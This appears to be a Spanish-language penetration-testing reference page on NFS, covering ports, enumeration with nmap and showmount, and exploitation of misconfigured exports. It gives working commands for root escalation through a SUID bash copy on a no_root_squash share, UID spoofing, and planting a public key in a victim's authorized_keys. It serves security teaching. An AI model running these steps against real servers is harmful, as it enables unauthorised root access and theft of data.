nfs-network-file-system
NFS — Network File System
Section titled “NFS — Network File System”NFS (Network File System) es el protocolo de compartición de archivos en red de sistemas Unix/Linux. Permite montar sistemas de archivos remotos como si fueran locales. Opera principalmente en el puerto 2049 (TCP/UDP) y requiere el servicio portmapper en el puerto 111 para mapear servicios RPC.
A diferencia de SMB, NFS fue diseñado para entornos Unix/Linux con un modelo de confianza basado en IPs y UIDs del sistema, lo que genera vulnerabilidades de escalada de privilegios características.
Arquitectura y puertos
Section titled “Arquitectura y puertos”| Puerto | Servicio | Descripción |
|---|---|---|
111 TCP/UDP |
Portmapper / rpcbind | Mapea servicios RPC a sus puertos |
2049 TCP/UDP |
NFS | Puerto principal del servicio NFS |
| Puertos altos | mountd, statd, lockd | Servicios auxiliares de NFS (puertos dinámicos) |
Enumeración
Section titled “Enumeración”# Detección básicanmap -sV -p 111,2049 targetnmap -sC -sV -p 111,2049 target
# Scripts específicos para NFSnmap --script nfs-ls,nfs-showmount,nfs-statfs -p 2049 target
# Enumerar servicios RPC en el portmappernmap --script rpcinfo -p 111 targetshowmount — ver exports disponibles
Section titled “showmount — ver exports disponibles”showmount es la herramienta principal para ver qué directorios exporta un servidor NFS:
# Ver todos los exports del servidorshowmount -e target
# Ver qué clientes están montandoshowmount -a target
# Ver directorios exportadosshowmount -d targetEjemplo de salida de showmount -e target:
Export list for target:/srv/nfs/backup */home 192.168.1.0/24/var/data 10.10.10.5El * significa que cualquier host puede montar ese directorio.
Montar un share NFS
Section titled “Montar un share NFS”# Crear punto de montajemkdir /mnt/nfs_target
# Montar el directorio remotomount -t nfs target:/srv/nfs/backup /mnt/nfs_target
# Ver el contenidols -la /mnt/nfs_target
# Desmontar al terminarumount /mnt/nfs_target
# Montar con opciones (sin ejecutar archivos del share)mount -t nfs -o ro,noexec,nosuid target:/srv/nfs/backup /mnt/nfs_targetRiesgos y misconfiguraciones
Section titled “Riesgos y misconfiguraciones”no_root_squash — escalada de privilegios
Section titled “no_root_squash — escalada de privilegios”Esta es la vulnerabilidad más crítica de NFS. Por defecto, NFS convierte las peticiones del usuario root del cliente a un usuario anónimo sin privilegios en el servidor (root_squash). Si el administrador desactiva esto con no_root_squash, el root del cliente es root en el share del servidor.
# Ver si no_root_squash está activo en un exportshowmount -e target# Si /directorio * → montar y verificar
# Crear un binario SUID para escalar en el servidor# En el cliente, como root, montar el share:mount -t nfs target:/directorio_vulnerable /mnt/nfs
# Copiar bash y darle SUID:cp /bin/bash /mnt/nfs/bashchmod +s /mnt/nfs/bash
# En el servidor, como usuario normal:/directorio_vulnerable/bash -p # -p mantiene los privilegios SUID → rootOtras misconfiguraciones comunes
Section titled “Otras misconfiguraciones comunes”| Riesgo | Descripción |
|---|---|
Export con * |
Cualquier host puede montar el directorio, sin restricción de IP. |
| no_root_squash | El root del cliente es root en el servidor → escalada de privilegios. |
| Datos sensibles expuestos | Directorios /home, /etc o backups montables sin autenticación. |
| Permisos incorrectos en archivos | Archivos .ssh/authorized_keys escribibles → añadir clave pública y acceso SSH. |
| UID spoofing | NFS confía en el UID del cliente. Crear un usuario local con el mismo UID que el propietario de los archivos del share da acceso total. |
UID Spoofing
Section titled “UID Spoofing”# Si el directorio NFS pertenece al UID 1001 en el servidor:# Crear un usuario local con UID 1001 en el cliente atacanteuseradd -u 1001 nfsusersu nfsuser
# Ahora este usuario tiene acceso a los archivos del share# como si fuera el propietario originalls -la /mnt/nfs_targetAcceso a SSH keys vía NFS
Section titled “Acceso a SSH keys vía NFS”# Si /home de un usuario está exportado y no_root_squash está activo:mount -t nfs target:/home/usuario /mnt/nfs
# Añadir nuestra clave pública al authorized_keys del usuariocat ~/.ssh/id_rsa.pub >> /mnt/nfs/.ssh/authorized_keys
# Conectar por SSH sin contraseñassh usuario@target/etc/exports — el archivo de configuración
Section titled “/etc/exports — el archivo de configuración”El archivo /etc/exports define qué directorios se exportan y con qué opciones:
/directorio cliente(opciones)
# Opciones relevantes:rw lectura y escritura (peligroso si es *rw)ro solo lecturasync escritura síncronaasync escritura asíncronano_root_squash PELIGROSO: root del cliente = root en el servidorroot_squash comportamiento seguro por defectoall_squash mapear todos los usuarios a anónimono_all_squash comportamiento por defecto
no_root_squashcombinado con un export accesible desde cualquier IP (*) es una vulnerabilidad crítica que lleva directamente a escalada de privilegios en el servidor.
Al encontrar un share NFS accesible, revisar siempre si hay archivos
.ssh/, archivos de configuración con contraseñas, o scripts con credenciales hardcodeadas. Los backups en NFS suelen contener información muy sensible.